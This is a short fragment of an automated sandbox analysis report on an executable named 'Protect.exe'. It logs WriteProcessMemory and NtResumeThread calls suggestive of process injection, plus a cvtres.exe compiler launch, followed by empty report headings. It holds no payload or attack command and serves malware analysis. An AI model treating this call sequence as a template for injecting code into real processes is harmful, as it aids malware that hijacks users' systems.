WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: @ base_address: 0x000000007efde008 process_identifier: 2856 process_handle: 0x0000000000000284	1	1
NtResumeThread Aug. 6, 2024, 10:06 a.m.	thread_handle: 0x0000000000000394 suspend_count: 1 process_identifier: 2856	1	0
CreateProcessInternalW Aug. 6, 2024, 10:06 a.m.	thread_identifier: 2772 thread_handle: 0x00000000000000b8 process_identifier: 2768 current_directory: filepath: track: 1 command_line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RESC11.tmp" "c:\Users\test22\AppData\Local\Temp\CSC3358698594D4499EBE9E87D7E1AC1F6E.TMP" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x00000000000000b4	1	1

Protect.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All